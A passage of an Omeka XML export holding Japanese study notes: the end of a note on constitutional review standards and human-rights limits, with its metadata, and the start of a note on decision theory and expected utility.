&lt;div&gt;&lt;span&gt;**法的根拠：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;公安条例により、一定規模以上の集会については事前届出が義務付けられています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 違憲審査基準&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;違憲審査においては、制限される人権の重要性に応じて、異なる審査基準が適用されます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;flowchart TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[人権制限の違憲審査] --&amp;gt; B{制限される人権の種類}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|精神的自由権&amp;lt;br/&amp;gt;表現の自由など| C[厳格な審査基準&amp;lt;br/&amp;gt;Strict Scrutiny]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|経済的自由の一部&amp;lt;br/&amp;gt;性別による差別| D[中間審査基準&amp;lt;br/&amp;gt;Intermediate Scrutiny]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|経済的自由&amp;lt;br/&amp;gt;社会権| E[合理的審査基準&amp;lt;br/&amp;gt;Rational Basis Test]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[最も厳格&amp;lt;br/&amp;gt;高いハードル]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; G[中間的&amp;lt;br/&amp;gt;柔軟な審査]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; H[最も緩やか&amp;lt;br/&amp;gt;合理的理由で足りる]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 厳格な審査基準（Strict Scrutiny）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**適用される人権：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;表現の自由、思想・良心の自由、信教の自由など、特に重要な精神的自由権&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**審査の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**目的の正当性：**&lt;/span&gt;&lt;span&gt; 人権制限の目的が「やむを得ない必要がある」と認められること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の必要性：**&lt;/span&gt;&lt;span&gt; その目的を達成するために、人権制限が「必要不可欠」であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の相当性：**&lt;/span&gt;&lt;span&gt; 人権制限の程度が、目的達成のために「必要最小限」であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**より制限の少ない手段の不存在：**&lt;/span&gt;&lt;span&gt; より制限の少ない手段で目的を達成できないこと&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**特徴：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 最も厳格な審査基準&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権制限が合憲とされるためには、非常に高いハードルをクリアする必要がある&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 表現の自由など、民主主義の根幹に関わる人権に適用される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 中間審査基準（Intermediate Scrutiny）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**適用される人権：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;経済的自由の一部、性別による差別など&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**審査の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**目的の重要性：**&lt;/span&gt;&lt;span&gt; 人権制限の目的が「重要な政府目的」であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の実質的関連性：**&lt;/span&gt;&lt;span&gt; 人権制限が目的達成と「実質的に関連している」こと&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**特徴：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 厳格な審査基準と合理的審査基準の中間&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 比較的柔軟な審査が行われる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 合理的審査基準（Rational Basis Test）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**適用される人権：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;経済的自由（職業選択の自由、営業の自由など）、社会権など&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**審査の内容：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**目的の合理性：**&lt;/span&gt;&lt;span&gt; 人権制限の目的が「合理的」であること&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**手段の合理性：**&lt;/span&gt;&lt;span&gt; 人権制限が目的達成と「合理的に関連している」こと&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**特徴：**&lt;/span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 最も緩やかな審査基準&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 人権制限が合憲とされるためには、合理的な理由があれば足りる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 立法府の裁量が広く認められる&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 審査基準の選択&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;どの審査基準を適用するかは、制限される人権の重要性によって決定されます。表現の自由などの精神的自由権は最も重要な人権とされ、厳格な審査基準が適用されます。一方、経済的自由は比較的重要度が低いとされ、合理的審査基準が適用される傾向にあります。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## まとめ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 人権保障の基本原則&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**人権の普遍性：**&lt;/span&gt;&lt;span&gt; 人権は外国人にも適用されるが、一部の権利（入国の自由、参政権など）は制限される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公共の福祉による制限：**&lt;/span&gt;&lt;span&gt; すべての人権は公共の福祉による制限を受ける&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**内在的制約説（通説）：**&lt;/span&gt;&lt;span&gt; 人権は他者の人権との関係において内在的に制約される。この学説は、宮沢俊義、芦部信喜、佐藤幸治などの憲法学者によって支持されています&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**利益衡量：**&lt;/span&gt;&lt;span&gt; 人権制限は、得られる利益と失われる利益を比較衡量して判断される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 重要な判例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**マクリーン事件：**&lt;/span&gt;&lt;span&gt; 外国人の人権保障の範囲を示した判例&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**永住外国人地方参政権訴訟：**&lt;/span&gt;&lt;span&gt; 外国人への地方参政権付与が憲法上禁止されていないことを示した判例&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**三菱樹脂事件・日産自動車事件：**&lt;/span&gt;&lt;span&gt; 思想・良心の自由と私的自治の関係を示した判例&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1940">
                <text>日本国憲法８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1941">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="56">
            <name>Date Created</name>
            <description>Date of creation of the resource.</description>
            <elementTextContainer>
              <elementText elementTextId="1942">
                <text>2025-11-16</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
            <description>Information about rights held in and over the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1943">
                <text>CC BY-NC 4.0 - 非営利目的のみ許可</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="127" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1935">
              <text>&lt;div&gt;
&lt;div&gt;&lt;span&gt;# 意思決定手法&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;意思決定とは、複数の選択肢の中から、合理的に最も望ましい（効用が最大になる、あるいは損失を最小にする）選択を行うプロセスである。本資料では、意思決定理論の数学的基礎から実践的応用まで、幅広いトピックを扱う。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 目次&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;意思決定理論の数学的基礎&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#意思決定理論の数学的基礎&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;期待効用理論&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#期待効用理論expected-utility-theory&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題①　期待効用の計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題①期待効用の計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ベイズ意思決定理論&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ベイズ意思決定理論bayesian-decision-theory&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題②　ベイズ更新の計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題②ベイズ更新の計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;リスク測度と条件付きリスク値&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#リスク測度と条件付きリスク値&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;動的プログラミングとベルマン方程式&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#動的プログラミングとベルマン方程式&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;意思決定の分類&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#意思決定の分類&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;多目的・多属性意思決定（MCDM/MAUT）&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#多目的多属性意思決定mcdmmaut&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ロバスト最適化と分布ロバスト最適化&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ロバスト最適化と分布ロバスト最適化&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ゲーム理論による意思決定分析&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ゲーム理論による意思決定分析&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ゲーム理論の分類&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ゲーム理論の分類&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ナッシュ均衡&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ナッシュ均衡nash-equilibrium&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;問題③　ナッシュ均衡の計算&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#問題③ナッシュ均衡の計算&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;囚人のジレンマ&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#囚人のジレンマゲーム理論の有名な例&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;繰り返し囚人のジレンマ&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#繰り返し囚人のジレンマiterated-prisoners-dilemma&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;ナッシュ均衡の計算複雑性&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#ナッシュ均衡の計算複雑性&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;計算ゲーム理論：Price of AnarchyとPrice of Stability&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#計算ゲーム理論price-of-anarchyとprice-of-stability&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;6.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;確率微分方程式と確率制御&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#確率微分方程式と確率制御&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;7.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;数値解法と機械学習手法&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#数値解法と機械学習手法&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;8.&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;まとめ&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;#まとめ&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;意思決定とは、複数の選択肢の中から、合理的に最も望ましい（効用が最大になる、あるいは損失を最小にする）選択を行うプロセスである。意思決定主体とは、この決定を行う個人や組織（消費者、企業、政府など）を指す。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;システム内での効用主体がどのように意思決定を行うかは、主体の目的や価値観によって異なる。  &lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;例えば：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 消費者：効用（満足度や便益）の最大化を目指す。商品やサービス選択時に得られる満足の総量を増やそうとする。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 企業：利潤（利益）の最大化を目標とする。販売量や生産コスト、価格設定などに関する意思決定を最適化する。&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 政府：社会全体の福祉や公平性、安全保障などを目的とした意思決定を行うこともある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;また、これ以外にも「リスクの最小化」「責任回避」「持続可能性重視」「社会的評価」「倫理・法令遵守」など、さまざまな評価基準が考えられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 意思決定理論の数学的基礎&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 期待効用理論（Expected Utility Theory）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;不確実性下での意思決定を分析する際、期待効用理論が基本的な枠組みとなる。選択肢 $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の期待効用 $&lt;/span&gt;&lt;span&gt;E[U_i]$&lt;/span&gt;&lt;span&gt; は以下のように定義される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;**実践例**&lt;/span&gt;&lt;span&gt;：在庫管理における新聞売り子問題（Newsvendor Problem）は、期待効用最大化の典型的な応用例である。不確実な需要に対して最適な発注量を決定する問題として定式化される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$E[U_i] = \&lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;_{j} p_j \&lt;/span&gt;&lt;span&gt;cdot&lt;/span&gt;&lt;span&gt; u(x_{ij})$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt;p_j$&lt;/span&gt;&lt;span&gt; は状態 $&lt;/span&gt;&lt;span&gt;j$&lt;/span&gt;&lt;span&gt; の発生確率、$&lt;/span&gt;&lt;span&gt;u(x_{ij})$&lt;/span&gt;&lt;span&gt; は状態 $&lt;/span&gt;&lt;span&gt;j$&lt;/span&gt;&lt;span&gt; における結果 $&lt;/span&gt;&lt;span&gt;x_{ij}$&lt;/span&gt;&lt;span&gt; の効用関数、$&lt;/span&gt;&lt;span&gt;x_{ij}$&lt;/span&gt;&lt;span&gt; は選択肢 $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; を選んだ際に状態 $&lt;/span&gt;&lt;span&gt;j$&lt;/span&gt;&lt;span&gt; で得られる結果である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;合理的な意思決定主体は、期待効用を最大化する選択肢を選ぶと仮定される（期待効用最大化仮説）。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 期待効用理論の詳細フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図1: 期待効用理論の詳細フロー**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "意思決定プロセス"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[複数の選択肢&amp;lt;br/&amp;gt;Alternatives i=1,2,...,n] --&amp;gt; B[各選択肢の評価]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "不確実性の考慮"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[状態jの発生確率&amp;lt;br/&amp;gt;p_j = PState j]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[各状態での結果&amp;lt;br/&amp;gt;x_ij = Outcome&amp;lt;br/&amp;gt;選択肢i 状態j]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "効用の評価"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[効用関数の適用&amp;lt;br/&amp;gt;u x_ij = Utility]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[各状態の効用&amp;lt;br/&amp;gt;u x_ij]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "期待効用の計算"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[期待効用&amp;lt;br/&amp;gt;EU_i = Σ_j p_j×u x_ij&amp;lt;br/&amp;gt;Expected Utility]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "最適選択"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[すべての選択肢の&amp;lt;br/&amp;gt;期待効用を比較]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[最適選択&amp;lt;br/&amp;gt;i* = argmax_i EU_i&amp;lt;br/&amp;gt;Optimal Choice]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "意思決定の実行"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[選択肢i*を実行&amp;lt;br/&amp;gt;Execute Alternative i*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### von Neumann-Morgensternの期待効用定理&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
